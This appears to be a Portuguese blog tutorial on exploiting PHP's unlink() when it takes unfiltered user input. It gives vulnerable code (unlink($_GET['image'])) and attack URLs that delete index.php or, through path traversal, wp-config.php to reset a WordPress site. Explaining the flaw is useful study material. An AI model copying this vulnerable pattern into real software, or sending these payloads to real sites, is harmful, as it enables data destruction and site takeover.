Como explorar hacking no método unlink do PHP.

Unlink é um método PHP usado para deletar arquivo físicos. Você pode ver mais nessa documentação.

Eu amo falar sobre esse assunto. I tive alguns artigos escritos sobre isso.

A um tempo atrás eu falei sobre milhares de downloads de Plugins WordPress com o mesmo problema.

Após alguns meses foi encontrado uma falha de segurança no core do WordPress justamente no método unlink.

Então vimos que o problema com o unlink é mais comum do que nós imaginamos.

Mas qual é o problema? Como se pode explorar unlink para coisas ruins.

Para o bug acontecer o sistema precisa de um dado de entrada e o uso do unlink do sistema, óbvio. =)

Para o estudo de caso nós vamos usar um simples dado de entrada, via $_GET e $_POST, sem filtro, vale lembrar que os filtros e o caminho correto

Vale lembrar que muitas pessoas usam filtros, e é o correto, mas alguns podem ter filtros com sucesso ou não, mas nesse exemplo eu vou mostrar sem filtros.

Exemplo básico;

unlink('folder/image.jpg'); // this image will be remove.

Quando se tem o poder de inserir o que quiser sem filtro ou mal feito, acontece isso.

unlink( $_GET['image'] );

Você tem o poder de deletar o arquivo que quiser como arquivos de configuações ou index’s, podendo quebrar a aplicação, em alguns casos você pode reiniciar o sistema como WordPress Joomla, Drupal.

Veja esse exemplo.

A url é:

http://www.target.com/index.php?image=image20.jpg

… e rodamos o código.

unlink( $_GET['image'] ); // Delete image20.jpg

Ok, você vai deletar mas e se pudêssemos deletar o index.php ao invés da imagem.

http://www.target.com/index.php?image=index.php

unlink( $_GET['image'] ); // Delete index.php

unlink( 'index.php' );

Nós vamos deletar o index file e parar o sistema, quem tentar acessar o site depois disso vai encontrar erro 404, de página não existente.

Exemplo de um ataque em WordPress.

http://www.target.com/index.php?image=../../wp-config.php

unlink( $_GET['image'] ); // Delete ../../wp-config.php

unlink( '../../wp-config.php' );

Nós vamos deletar o arquivo de configuração e o sistema pode ser reiniciado, setando uma base de dados nova.m

Você pode ver mais um real exemplo.

Buummmmm…. tango Down.

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *